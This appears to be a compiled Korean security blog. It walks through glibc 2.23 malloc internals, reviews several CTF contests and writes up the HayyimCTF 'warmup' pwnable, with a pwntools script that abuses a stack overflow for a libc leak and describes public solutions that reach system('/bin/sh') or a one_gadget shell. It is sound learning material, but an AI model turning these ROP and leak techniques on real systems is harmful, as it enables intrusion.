Unsorted Bin은 정확하게 size로 구분할 수는 없습니다. Unsorted Bin의 사용 목적은 cache memory와 같이 중간에서 잠시 정보를 저장하여 처리 속도를 증가할 수 있도록 도와줍니다. 따라서 fastbin을 제외한 smallbin과 largebin size의 freed chunk는 먼저 unsorted bin에 저장됩니다.

새로운 chunk를 할당하고자 할 때 unsorted bin에 적합한 chunk가 존재할 경우 해당 chunk를 재사용 합니다. 여기서 '적합함' 의 기준에는 두 가지가 있습니다.

1. 요청된 크기와 일치하는 크기의 chunk
2. 요청된 크기보다 더 큰 크기의 chunk

1번 기준의 경우 다른 heap을 할당할 때도 해당되는 조건이기 때문에 별도의 설명이 필요하지 않습니다. 그러나 2번 조건을 이해하기 위해서는 'remainder chunk'의 개념에 대해 이해할 필요가 있습니다.

Remainder Chunk

Remainder chunk가 발생하는 이유는 2번의 이유 때문이기도 합니다. 만약 요청된 size보다 큰 chunk를 반환할 경우 이 과정에서 여분의 크기가 생기게 됩니다. 따라서 실제로 반환되는 chunk의 영역은 요청된 크기와 동일한 만큼만 반환하고 나머지 크기는 쪼개서 다른 chunk로 생성합니다. 이때 쪼개져 남은 chunk를 remainder chunk 라고 합니다.

추가로 가장 최근에 생성된 remainder chunk를 지칭하는 'last remainder chunk' 라는 용어도 존재합니다.

사실 이러한 개념이 왜 존재하는지 궁금증이 생길 수 있습니다. 무엇보다 인터넷에 remainder chunk의 개념에 대해 찾아보면 종종 접할 수 있는 설명이 있습니다.

작은 사이즈의 할당 요청이 들어왔을 때, Free chunk가 쪼개지고 남은 chunk* 연속된 작은 사이즈의 할당 요청이 들어왔을 때 비슷한 주소에 heap chunk가 할당되는 할당의 지역성을 유지하기 위해 사용된다.

위 내용에서 집중해야 할 내용은 '지역성' 입니다. 해당 개념은 heap에 한정되는 내용이 아니기 때문에 컴퓨터 공학의 개념에서 참고할 수 있습니다. 관련된 내용은 링크에서 참고할 수 있으며 이를 요약하자면 다음과 같습니다.

이전에 사용하였던 메모리 공간을 최대한 재활용하여 처리 속도를 단축시킨다.

How it works

Unsorted bin은 size로 구분된 것이 아니기 때문에 smallbin, largebin size 모두 존재할 수 있습니다. 그러나 계속 unsorted bin에 계속 보관할 수 없기에 1회 이상 검색된 후에는 원래 해당되는 bin으로 이동하는 과정을 거칩니다.

이때 검색이라고 함은 해당 chunk가 적합한지 비교하는 과정을 거쳤는가를 기준으로 합니다. 즉, 1번부터 10번까지 chunk가 존재할 경우 1번부터 시작하여 순차적으로 검사할 때 4번 chunk가 적합하다면 이를 user에게 반환하고 1번부터 3번까지의 chunk는 smallbin 혹은 largebin으로 반환됩니다.

마치며

"Daily Heap" 시리즈는 우선 여기서 마무리 할 예정입니다. 본업에 투자할 시간이 더 필요하기도 하며 코드를 모두 분석하기보다 'How to heap' 과 같이 이미 정리되어 있는 자료를 참조하며 예제를 푸는 편이 더 적합하다고 생각되었기 때문입니다.

Write-Up은 깃허브에서 확인하실 수 있습니다.

Review

항상 프로그래밍의 예시로 자주 나오는 FooBar라는 이름을 가진 CTF에 참여하였습니다. 진행 시간은 24시간으로 짧은 편에 속하는 대회였던 것 같습니다.

저는 pwnable 문제를 위주로 봤는데 아무래도 format string을 좋아하시는 분이 만드셨는지 fsb 문제가 과반수를 차지한 것 같습니다. Write-Up은 4개를 올려놓긴 했지만 같이 참여하신 다른 팀원 분이 빠르게 2 문제의 exploit code를 작성하셔서 순수 본인의 힘으로 해결한 문제는 'Hunters'와 'One Punch' 입니다.

이번 CTF는 문제를 풀었다는 것에 의의를 두는 것이 아닌 두 문제 모두 unintend 방식으로 풀었다는 것에 의미를 두어야 할 것 같습니다. 안좋게 말하자면 제작자가 의도한 방법을 찾지 못한 것이지만 좋게 말하자면 제작자가 예상치 못한 방법을 찾아낸 것이니까요.

회사를 다니며 팀원분들과 함께 주말에 열리는 CTF에 계속 나가다보니 이미 참여한 CTF의 수가 작년을 훌쩍 넘었습니다. 점점 실력을 쌓아감에 따라 문제를 많이 푸는 것이 아닌 퀄리티 있는 문제를 풀 수 있도록 해야겠습니다.

이번 글은 약간의 변명을 추가하자면 일을 시작하게 되며 백수일 때와 다르게 개인 공부와 블로그를 정리할 시간이 줄어들어 업로드 주기가 길어지게 되었습니다. 어쩌다보니 Monthly Heap이 되는 건 아닐까 하는 걱정과 함께 서론은 줄이겠습니다.

malloc() in glibc 2.23

_int_malloc()

Largebin Size

만약 request size를 만족하는 smallbin chunk가 존재하지 않을 경우 그 다음으로 largebin에서 적합한 chunk가 존재하는지 검색합니다. 구현 코드는 아래와 같습니다.

3436   /*
3437      If this is a large request, consolidate fastbins before continuing.
3438      While it might look excessive to kill all fastbins before
3439      even seeing if there is space available, this avoids
3440      fragmentation problems normally associated with fastbins.
3441      Also, in practice, programs tend to have runs of either small or
3442      large requests, but less often mixtures, so consolidation is not
3443      invoked all that often in most programs. And the programs that
3444      it is called frequently in otherwise tend to fragment.
3445    */
3446 
3447   else
3448     {
3449       idx = largebin_index (nb);
3450       if (have_fastchunks (av))
3451         malloc_consolidate (av);
3452     }

언뜻 보기엔 중요한 내용이 없는 것처럼 보일지 몰라도 3줄의 코드 중 2줄의 코드가 매우 중요한 역할을 합니다.

largebin_index()

먼저 largebin_index() 매크로는 다음과 같이 정의되어 있습니다.

1510 #define largebin_index(sz) \
1511   (SIZE_SZ == 8 ? largebin_index_64 (sz)                                     \
1512    : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz)                     \
1513    : largebin_index_32 (sz))

'SIZE_SZ' 값이 8인지 확인하여 맞을 경우 현재 architecture를 x64로 판단하여 largebin_index_64() 매크로를 호출합니다. 그렇지 않을 경우 'MALLOC_ALIGNMENT' 값이 16인지 확인하여 일치할 경우 largebin_index_32_big() 을, 틀릴 경우 largebin_index_32() 매크로를 호출합니다.

'MALLOC_ALIGNMENT' 값은 SIZE_SZ * 2 값으로 정의되는데 일반적인 32bit 환경은 'SIZE_SZ' 값으로 4를 가지기 때문에 무엇을 위해 존재하는 함수인지는 모르겠습니다.

malloc_consolidate()

먼저 어떤 이유로 fastbin chunks가 존재할 때 malloc_consolidate() 함수를 호출하는지에 대해 설명하기 이전에 malloc_consolidate() 함수가 무슨 역할을 하는지 알아보았습니다.

smallbin과 largebin size의 chunk가 해제될 때 인접한 영역에 다른 해제된 영역이 존재할 경우 해당 영역과 병합을 시도합니다. 여기서 인접한 영역이란 물리적으로 인접한 영역을 의미합니다. 병합을 하는 이유는 메모리 공간을 효율적으로 재사용하기 위함입니다.

have_fastchunks()

그러나 fastbin은 기본적으로 병합을 진행하지 않습니다. 이름에서 알 수 있듯이 빠른 할당과 해제를 위해 사용되기 때문에 병합 등의 과정을 진행하지 않습니다. 그렇다면 왜 largebin size의 할당을 진행할 때 fastbin에 존재하는 chunk에 대해 병합을 진행할까요? 이를 이해하기 위해서는 heap의 철학을 이해할 필요가 있었습니다.

일반적으로 heap 공간을 활용할 때 largebin size를 요청할 경우 빠른 시간 내에 fastbin size, smallbin size에 대한 요청이 없을 것으로 판단합니다.

사실 개발을 직접적으로 배운 것이 아닌 저에게 이와 같은 철학은 다소 난해한 개념이었습니다. Heap exploit을 학습하기 위한 binary는 fastbin, smallbin, largebin, unsorted bin 모든 bin을 넘나들며 취약점을 사용하였기 때문입니다.

위와 같은 철학이 반영되어 있는 이유도 당연히 메모리 관리의 효율성을 위해서입니다. 일반적인 프로그램의 경우 요청되는 사이즈가 일정할 것이라고 판단하여 불필요한 공간이 생기지 않도록 하기 위함이죠.

따라서 현재 arena에 fastbin chunks가 존재할 경우 이를 병합하여 smallbin size로 변환한 뒤 largebin size의 할당을 진행합니다.

2021년에는 취소로 인해 참가하지 못했던 2022 Codegate CTF 예선전에 참여하였습니다. 비교적 이름있는 CTF 문제는 아직 어려운 느낌이 강해서 걱정이 들기도 하였지만 이번 대회는 비교적 만족스럽게 마칠 수 있던 것 같습니다.

비록 본선에 진출하기에는 턱없이 부족하였지만 24시간이라는 시간 동안 즐겁게 참여할 수 있었습니다. 최종 결과는 다음과 같습니다.

저는 genaral 부문에서 pwn 1 문제를 풀었으며 팀원분들이 웹 문제를 풀어주셔서 39위로 마무리 할 수 있었습니다.

Write-Up

유일하게 해결한 문제인 pwn의 ARVM 문제에 대한 Write-Up은 이곳에서 확인할 수 있습니다.

Review

오로지 혼자 힘으로 대회 기간 중에 한 문제를 해결하긴 하였지만 대회가 종료된 후 solution과 관련된 얘기를 보니 unintend solution에 가까운 것 같아 약간의 아쉬움이 남습니다.

또한 VIMT 문제를 이상하게 해결했었는데 알고보니 누군가 server에 존재하는 flag file permission을 변경하여 발생했던 해프닝이 인상깊게 남았습니다. 이후 VIMT 문제에 대해 binary의 동작은 대부분 분석하였지만 아쉽게도 취약점은 찾지 못한 체 대회를 마무리하게 되었습니다.

곧 다가오는 LINE CTF의 준비를 하며 다양한 시각을 가질 수 있도록 노력해야겠습니다.

대회 진행 시간에 비해 제가 풀 수 있는 분야의 문제가 많지는 않았지만 전반적으로 신박한 문제가 많았던 것 같습니다. 아쉽게도 Pwnable은 문제 오류로 없어져서 아쉬운대로 reversing 두 문제를 풀었습니다.

Write-Up

Write-Up은 깃허브에서 확인하실 수 있습니다.

먼저 본문을 작성하기 이전에 해당 문제를 시간 내에 해결하진 못하였습니다. libc leak까진 성공하였지만 그 이후의 공격 연계에서 방법을 찾지 못했습니다.

대회가 끝난 이후 Write-Up을 보며 비슷하게 진행한 부분도 있었고 새롭게 알게된 개념이 있어 복기 겸 게시글을 작성하게 되었습니다.

Specification

tar gz로 압축된 파일이 제공되었으며 해당 파일에는 Docker build를 위한 파일과 바이너리, 소스코드가 존재하였습니다.

• warmup_cf103c01bbfc1fd152a942e00b82e5fd2e928436d6491c8e168dc363dfa030a1.tgz

Binary

먼저 binary의 사양에 대해 확인하였습니다.

❯ checksec warmup
[*] '/root/hayyim/Warmup/share/warmup'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64bit ELF이며 Full RELRO, NX 보호 기법이 적용되어 있는 점을 확인할 수 있습니다.

warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=adb16e8c48ba446aba87e229ef58e006dc0304dc, stripped

추가로 stripped 또한 적용되어 있어 symbol에 직접적으로 접근이 불가능한 것을 예상할 수 있었습니다.

Server Environment

Server의 정보는 바이너리와 같이 제공된 Dockerfile을 통해 확인할 수 있었습니다.

FROM ubuntu:18.04
MAINTAINER JSec

RUN groupadd -r warmup && useradd -r -g warmup warmup
RUN apt-get update
RUN apt-get install xinetd -y
RUN chmod 774 /tmp
RUN chmod -R 774 /var/tmp
RUN chmod -R 774 /dev
RUN chmod -R 774 /run
RUN chmod 1733 /tmp /var/tmp /dev/shm

COPY ./xinetd /etc/xinetd.d/warmup

WORKDIR /home/warmup/
COPY ./share/ ./
RUN chown root:warmup ./ -R
RUN chmod 550 ./warmup
RUN chmod 550 ./run.sh

CMD ["/usr/sbin/xinetd","-dontfork"]

OS의 경우 Ubuntu 18.04를 사용하였으며 이외에 특별한 설정은 확인되지 않았습니다.

Vulnerability

Binary의 소스코드도 함께 제공되었기 때문에 취약점의 경우 쉽게 찾을 수 있었습니다.

void vuln() {
        char buf[0x30];
        memset(buf, 0, 0x30);
        write(1, "> ", 2);
        read(0, buf, 0xc0);
}

vuln() 함수 내부에서 read() 로 입력받을 때 선언된 배열보다 큰 size를 입력받고자 하였고 이로 인해 buffer overflow가 가능하였습니다.

Exploit Method

별도로 shell을 호출하거나 flag를 읽어오는 함수가 존재하지 않았기에 interactive shell을 호출하는 것을 목표로 진행하였습니다. 세부 목표는 다음과 같이 정하였습니다.

1. libc address leak
2. shell을 획득할 수 있도록 argument 및 RIP 조작

libc address leak

단순하게 구성된 바이너리이기 때문에 gadget을 통해 프로그램을 조작할 필요가 있다고 생각되어 알맞은 gadget을 찾고자 시도하였습니다.

요구되는 gadget은 함수의 구조에 따라 차이가 있지만 ret 을 포함한 gadget을 검색한 결과는 아래와 같았습니다.

❯ ROPgadget --binary warmup | grep "ret"
0x0000000000400579 : add esp, 0x30 ; pop rbx ; ret
0x0000000000400578 : add rsp, 0x30 ; pop rbx ; ret
0x000000000040057c : pop rbx ; ret
0x000000000040057d : ret

사용 가능한 출력함수로 write() 가 존재하였기 때문에 이를 활용하기 위해서는 rdi, rsi, rdx register를 조작할 필요가 있었습니다.

최소한 libc에 존재하는 gadget을 사용하더라도 libc address leak이 선행되어야 하기 때문에 이에 대한 해결이 필요하였습니다.

여러 gadget을 찾아보던 중 직접 gadget을 통해 제어하는 것이 아닌 code의 특정 지점으로 이동하여 함수를 호출하는 방법을 생각하였습니다.

   0x400545:    lea    rsi,[rip+0x32]        # 0x40057e
   0x40054c:    mov    edx,0x2
   0x400551:    sub    rsp,0x30
   0x400555:    mov    rbx,rsp
   0x400558:    mov    rdi,rbx
   0x40055b:    rep stos DWORD PTR es:[rdi],eax
   0x40055d:    mov    edi,0x1
   0x400562:    call   0x4004a0 <write@plt>
   0x400567:    mov    rsi,rbx
   0x40056a:    mov    edx,0xc0
   0x40056f:    xor    edi,edi
   0x400571:    xor    eax,eax
   0x400573:    call   0x4004b0 <read@plt>
   0x400578:    add    rsp,0x30
   0x40057c:    pop    rbx
   0x40057d:    ret

위 내용은 정상적인 함수 호출 과정입니다. 0x400545 와 0x40054c 에서 rsi, edx 에 대한 세팅을 진행한 뒤 마지막으로 0x40055d 에서 edi 를 세팅하여 write() 함수를 호출합니다.

read() 함수의 경우 0x400467 부터 함수를 호출하는 0x400573 까지 연속적으로 진행됩니다. Source code를 참조한 read() 함수의 형태는 read(0, buf, 0xc0) 입니다. 여기서 첫 번째 인자인 'fd' 를 1로 변경 후 write() 함수를 호출하면 'buf' 부터 0xc0 size의 내용을 출력하게 됩니다.

위 가설을 통해 libc address를 얻기 위해서는 항상 동일한 Offset을 가지는 library 내의 주소가 존재해야 합니다. 이를 찾기 위해 gdb를 사용하여 debugging 한 결과 아래 주소를 대상으로 삼을 수 있었습니다.

buf 변수의 시작 주소로부터 0x40 만큼 떨어진 주소에 존재하는 값은 항상 다음과 같은 위치를 가리켰습니다. 또한 일정한 offset을 가지기에 libc address leak에 유용하다고 판단하였습니다.

gef➤  x/i 0x00007fd8881af0ca
   0x7fd8881af0ca <_dl_start_user+50>:    lea    rdx,[rip+0xfa6f]        # 0x7fd8881beb40 <_dl_fini>

gef➤  p/x 0x7fd8881af0ca-0x00007fd887dbd000
$1 = 0x3f20ca

위에서 세운 가설을 토대로 다음과 같이 python code를 작성하고 실행한 결과는 아래와 같았습니다.

```py
#!/usr/bin/env python3

from pwn import *

p = process("./warmup")
e = ELF("./warmup")

#context.log_level = 'debug'

padding = "C"*0x38

rdi_0x1_gadget = 0x40055d
offset = 0x3f20ca

payload = padding.encode()
payload += p64(rdi_0x1_gadget)
p.sendafter("> ", payload)

p.recvn(0x40)
libc = u64(p.recvn(6).ljust(8, b'\x00')) - offset
log.critical(f"libc leaked address: {hex(libc)}")

❯ ./solve.bak.py 
[+] Starting local process './warmup': pid 1477
[*] '/root/Warmup/share/warmup'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[CRITICAL] libc leaked address: 0x7fa12a648000
[*] Stopped process './warmup' (pid 1477)

libc address의 경우 성공적으로 leak 할 수 있었지만 이후의 chaining을 작성하는 과정에서 계속하여 SIGSEGV가 발생하여 대회 시간 내에 해결하지 못하였습니다.

Review

이후부터 작성된 내용은 대회가 종료된 후 공개된 Write-Up을 참조한 뒤 작성한 내용이며 아래 2개의 Write-Up을 토대로 알게된 사실을 작성하였습니다.

두 개의 Write-Up을 확인하였는데 각각의 풀이 방식에 차이가 존재하였기 때문에 해당 방법들에 대해 모두 찾아보고 분석하였습니다.

Scenario 1

Original: https://github.com/datajerk/ctf-write-ups/blob/master/hayyimctf2022/warmup-cooldown/README.md

첫 번째 방법은 제가 활용하고자 하였던 _dl_start_user+50 값을 통하여 libc address를 leak하는 방식이었습니다. 핵심적인 차이는 다음 내용이었습니다.

payload  = b''
payload += 56 * b'A'
payload += p64(binary.plt.write)

저는 write() 함수를 호출하기 이전, rdi에 '1' 을 set하는 구문으로 이동하였지만 Write-Up에서는 바로 write() 함수의 plt로 점프하여 내용을 출력하였습니다. 당시 제가 아는 내용으로는 'fd'를 stdout 으로 설정할 필요가 있다고 생각하여 payload를 작성하였지만, 실제로는 fd가 stdout 을 의미하는 '1' 이 아닌 '0' 을 가리켜도 출력이 된다는 것이었습니다.

위 Write-Up에서는 이 개념에 대한 예시로 다음과 같은 명령을 제시하였습니다. 해당 명령의 결과는 다음과 같았습니다.

root@e33fa56f4640 ~/hayyim/Warmup/share
❯ echo Nothing >&0
Nothing

FD에 대해 기본적인 개념을 학습하였다면 0은 stdin을 의미하는 것을 알고 있을 것 입니다. 저 또한 각 용도에 맞게 사용해야 한다고 알고 있었지만 개념과 차이가 발생하는 부분이 있었습니다. 이와 관련하여는 더 내용을 찾아본 뒤 정리할 예정입니다.

추가로 Remote를 대상으로 실행하였을 때는 정상적으로 출력되지만 pwntools의 process() 를 사용하여 Local을 대상으로 할 때는 동작하지 않는 이슈가 있었습니다.

마찬가지로 이와 관련된 내용도 해당 Write-Up에 기재되어 있었으며 이는 process() 함수가 FD를 0으로 사용하는 출력을 다루지 않아 발생하는 차이라고 합니다.

I'm using socat vs. process(binary.path) since pwntools process does not deal well with output being written to FD 0. I do not know of an easy way to fix this with pwntools so I just start up socat and then connect to that.

libc address leak을 진행한 이후에는 libc binary에 존재하는 gadget을 이용하여 system("/bin/sh") 를 호출하였습니다.

사용한 Exploit Code는 깃허브에서 확인하실 수 있습니다.

Exploit을 진행하며 한 가지 신기하였던 점은 write() 함수를 호출한 뒤 추가로 프로그램의 흐름을 조작하지 않아도 main() 함수의 시작점으로 돌아온다는 점이었습니다. 이에 대한 원인을 찾기 위해 debuggin 하던 중 write() 함수 호출이 종료된 이후 _dl_start_user+50 지점으로 흐름이 이동되는 것을 확인하었습니다. _dl_start_user+60 은 jmp r12 동작을 수행하였는데 이때 r12 register에 main의 시작 주소가 저장되어 있어 나타나는 현상으로 파악되었습니다.

Scenario 2

Original: https://hackmd.io/@Gt4Bz9fIRAKhqIqhByvn-Q/r1p2Zjm1c

두 번째 시나리오는 ld의 base 주소를 활용하여 libc address leak을 진행하는 방법입니다. buf의 시작 주소로부터 Stack을 살펴보면 하위 1.5 byte가 0x000 으로 끝나는 값이 존재하였습니다.

gef➤  vmmap 0x00007fd8881ae000
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007fd8881ae000 0x00007fd8881d7000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so

그러나 해당 값은 0xc0보다 더 큰 offset을 가지고 있어 현재 상황에서 출력하는 것에는 한계가 있습니다. 따라서 출력 가능한 위치까지 접근하기 위해 사용된 방법이 반복적으로 특정 지점을 호출하여 buf의 시작 주소를 증가시키는 것이었습니다.

이와 같은 방법이 가능하였던 이유는 main() 이 시작될 당시 stack의 주소와 종료될 때 주소에 0x8의 차이가 존재하였기 때문입니다. Original Write-Up의 경우 push rbx 명령을 수행하는 0x40053d 주소로 흐름을 이동하였습니다.

ld 주소를 획득한 뒤에는 ld 파일에 존재하는 gadget을 사용하여 libc address leak을 진행하였습니다. 이후의 과정은 마찬가지로 shell을 획득하기 위해 register를 조작하는 과정을 거쳤습니다.

system("/bin/sh") 를 호출하는 방법의 경우 Scenario 1에서 진행하였기 때문에 이번 exploit은 oneshot gadget을 활용하여 도전해보았습니다.

그러나 oneshot gadget의 조건이 만족되지 않아 shell을 획득하는데 실패하였는데, 조건 중 "$rsp+0x70" 의 값이 NULL 일 경우를 사용하는 gadget이 존재하였고 이는 padding에 사용되는 값을 0x00으로 변경할 경우 가능할 것으로 보여 payload를 변경하여 시도하였습니다.

최종적으로 조건이 만족되어 oneshot gadget을 활용하여 shell을 획득하는 것 또한 가능하였습니다.

마찬가지로 Exploit은 깃허브 에서 확인할 수 있습니다.

Reference

• Scenario 1 Original Write-Up
• Scenario 2 Original Write-Up

_int_malloc()

Smallbin Size

Request size가 fastbin size에 해당되지 않을 경우 다음으로 smallbin size에 해당되는지 확인하는 routine을 거칩니다. 구현 코드는 다음과 같습니다.

3405   if (in_smallbin_range (nb))
3406     {
3407       idx = smallbin_index (nb);
3408       bin = bin_at (av, idx);
3409 
3410       if ((victim = last (bin)) != bin)
3411         {
3412           if (victim == 0) /* initialization check */
3413             malloc_consolidate (av);
3414           else
3415             {
3416               bck = victim->bk;
3417         if (__glibc_unlikely (bck->fd != victim))
3418                 {
3419                   errstr = "malloc(): smallbin double linked list corrupted";
3420                   goto errout;
3421                 }
3422               set_inuse_bit_at_offset (victim, nb);
3423               bin->bk = bck;
3424               bck->fd = bin;
3425 
3426               if (av != &main_arena)
3427                 victim->size |= NON_MAIN_ARENA;
3428               check_malloced_chunk (av, victim, nb);
3429               void *p = chunk2mem (victim);
3430               alloc_perturb (p, bytes);
3431               return p;
3432             }
3433         }
3434     }

Init

Request size가 전체 smallbin range에 해당되는지 확인합니다. 만약 해당되지 않을 경우 Largebin 범위로 넘어가며, 해당될 경우 몇 가지 초기화 작업을 진행합니다.

smallbin_index() 매크로를 호출하여 request size가 해당되는 smallbin의 index를 구합니다. Smallbin의 자세한 구조는 별도의 게시글에서 정리 후 추가할 예정입니다.

다음으로 현재 arena에서 idx에 해당되는 bin을 가져옵니다.

Empty Check

last() 매크로의 경우 해당 bin에서 가장 마지막 chunk를 가져옵니다. 따라서 victim에 저장된 값이 현재 bin의 주소와 같지 않을 경우 사용 가능한 freed chunk가 존재함을 의미합니다. Freed chunk가 존재하지 않을 경우 아래의 과정을 진행하지 않고 구문으로 이동합니다.

만약 victim이 '0' 일 경우는 initialization 과정에 해당되며 malloc_consolidate() 함수를 호출합니다.

Smallbin Check

bck에 victim -> bk 값을 저장한 뒤 bck -> fd 값이 'victim' 과 일치하는지 확인합니다. 이 과정은 Doubly Linked List가 변조되지 않았는지 확인하는 과정으로, 정상적인 smallbin의 경우 현재 chunk의 이전 chunk는 당연히 'fd' 값으로 현재 chunk를 가리켜야 함을 의미합니다.

Allocate Freed Chunk

적합한 Free chunk가 존재할 경우 이를 Allocated Chunk로 변환하기 위한 과정이 수행됩니다.

먼저 set_inuse_bit_at_offset() 매크로를 호출하여 할당할 chunk와 인접한 다음 chunk의 prev_inuse flag를 set 상태로 변경합니다. 이는 smallbin의 경우 free 과정에서 prev_inuse flag를 unset 하기 때문에 수행됩니다.

다음으로 bin -> bk를 bck로 변경하고 bck -> fd를 bin으로 변경합니다. 이는 double linked list에서 할당 대상인 'victim' 을 제거하는 역할을 합니다.

마지막으로 해당 chunk가 main_arena에 속하는지 여부를 검사한 뒤에 최종적으로 'victim' 의 mem 주소를 반환합니다.

Reference

• https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions

본 게시글은 Daily Heap #6 게시글에서 이어지는 내용을 기술하고 있습니다.

malloc() in glibc 2.23

_int_malloc()

Fastbin size check

다음으로 실행되는 동작은 요청된 size를 만족할 수 있는 '재사용 가능한 chunk' 가 있는지 확인합니다. glibc 2.23을 기준으로 Fastbin, Smallbin, Largebin, Unsorted bin 총 4개의 bin을 사용하여 해제된 chunk를 관리하며 검사 순서는 Fastbin -> Smallbin -> Largebin 으로 동작합니다.

3362   /*
3363      If the size qualifies as a fastbin, first check corresponding bin.
3364      This code is safe to execute even if av is not yet initialized, so we
3365      can try it without checking, which saves some time on this fast path.
3366    */
3367 
3368   if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
3369     {
3370       idx = fastbin_index (nb);
3371       mfastbinptr *fb = &fastbin (av, idx);
3372       mchunkptr pp = *fb;
3373       do
3374         {
3375           victim = pp;
3376           if (victim == NULL)
3377             break;
3378         }
3379       while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
3380              != victim);
3381       if (victim != 0)
3382         {
3383           if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
3384             {
3385               errstr = "malloc(): memory corruption (fast)";
3386             errout:
3387               malloc_printerr (check_action, errstr, chunk2mem (victim), av);
3388               return NULL;
3389             }
3390           check_remalloced_chunk (av, victim, nb);
3391           void *p = chunk2mem (victim);
3392           alloc_perturb (p, bytes);
3393           return p;
3394         }
3395     }

if 문에서 비교 대상인 (unsigned long)(nb) 값의 경우 이전 과정에서 checked_request2size() 호출을 통해 요청된 size에 overhead 값과 정렬을 끝낸 값이 저장되어 있습니다.

get_max_fast() 의 경우 아래와 같이 구현되어 'global_max_fast' 값으로 정의되어 있으며 해당 값은 set_max_fast() 매크로에 의해 정의되는 점을 확인할 수 있었습니다.

#define set_max_fast(s) \
  global_max_fast = (((s) == 0)                                               \
                     ? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast

이를 종합하면 요청된 size가 fastbin 범위에 해당될 경우 이를 탐색하는 과정이 수행되었습니다. 만약 fastbin 범위에 해당될 경우 chunk size가 포함될 수 있는 fastbin의 index를 획득합니다. 이는 fastbin_index(nb) 매크로를 통해 진행됩니다.

typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])

mfastbinptr type의 경우 malloc_chunk 구조체를 참조하였으며 fastbin() 매크로는 인자로 전달받은 ar_ptr 구조체 중 "fastbinsY" 항목을 참조하였습니다. 마찬가지로 ar_ptr 구조체는 malloc_state 구조체를 참조하기 때문에 최종적으로 malloc_state -> fastbinsY[idx] 형식과 같은 결과를 얻을 수 있었습니다.

"fastbinsY" 는 fastbin을 관리하기 위해 배열로 선언된 요소로 fastbin size에 해당되는 chunk가 해제되었을 때 이곳에 기록하여 linked list로 관리합니다.

do ~ while()

다음으로 수행되는 `do ~ while()` 문을 이해하기 위해서는 fastbin에 대한 이해가 필요합니다. Fastbin은 LIFO 방식의 single linked list로 관리됩니다. 즉, chunk의 재할당을 위해 가장 최근에 해제된 항목을 반환하게 됩니다. 또한 single linked list로 구현되어 있기 때문에 malloc_chunk 구조체의 'fd' 만을 사용합니다. 

아래 예시를 통해 몇 가지 핵심 내용을 짚어보았습니다.

```c
#include <stdlib.h>

int main(){
    char *ptr1;
    char *ptr2;

    ptr1 = (char *)malloc(0x10);
    ptr2 = (char *)malloc(0x10);
    malloc(0x20);    // dummy
    free(ptr1);
    free(ptr2);

    return 0;
}

먼저 ptr1을 해제한 뒤의 fastbin의 상태입니다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x944000 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x944070 (size : 0x20f90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

Overhead를 포함하여 0x20 size에 해당되기에 fastbin[0] index에 ptr1 chunk의 주소가 기록되어 있는 것을 확인할 수 있습니다.

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x944020 --> 0x944000 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x944070 (size : 0x20f90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

다음은 ptr2를 해제한 뒤의 fastbin 모습입니다. ptr2의 chunk 주소가 맨 앞으로 왔으며 linked list 형식으로 가리키고 있는 점을 확인할 수 있습니다.

이때 ptr1과 ptr2의 fd 값을 확인하면 각각 0x0과 0x944000 임을 확인할 수 있습니다. ptr2의 fd에는 ptr1의 주소가 기록 되었지만 가장 먼저 해제된 ptr1은 그렇지 않음을 확인할 수 있습니다.

이는 실제 fastbinsY 배열에 기록되어 있는 값을 보면 의문을 해결할 수 있습니다.

gdb-peda$ p main_arena
$1 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x209d020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 

위에서 확인한 결과들의 경우 plugin을 통해 이해하기 쉽게 표현되어 있지만 실제 기록되어 있는 값은 가장 최근에 해제된 chunk의 주소가 기록되어 있습니다.

기술한 내용을 생각하며 do ~ while() 문의 설명을 진행하면 다음과 같습니다.

do{} 의 동작은 'pp' 변수에 저장되어 있는 값을 'victim' 변수에 저장하고 'victim'의 값이 NULL 일 경우 break 를 통해 중단합니다. 처음 동작을 시작할 때 'pp' 변수의 값은 가장 최근에 해제된 fastbin size chunk의 주소를 갖고 있습니다.

while() 문의 조건을 이해하기 위해서는 먼저 catomic_compare_and_exchange_val_acq() 매크로의 문법을 이해할 필요가 있었습니다. 해당 매크로는 'include/atomic.h' 파일에서 찾을 수 있었으며 코드는 아래와 같습니다.

/* Atomically store NEWVAL in *MEM if *MEM is equal to OLDVAL.
   Return the old *MEM value.  */
#if !defined atomic_compare_and_exchange_val_acq \
    && defined __arch_compare_and_exchange_val_32_acq
# define atomic_compare_and_exchange_val_acq(mem, newval, oldval) \
  __atomic_val_bysize (__arch_compare_and_exchange_val,acq,                   \
                       mem, newval, oldval)
